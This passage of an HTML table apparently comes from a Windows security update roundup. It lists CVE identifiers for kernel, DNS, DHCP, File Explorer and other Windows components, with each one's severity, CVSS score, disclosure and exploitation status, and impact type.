  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
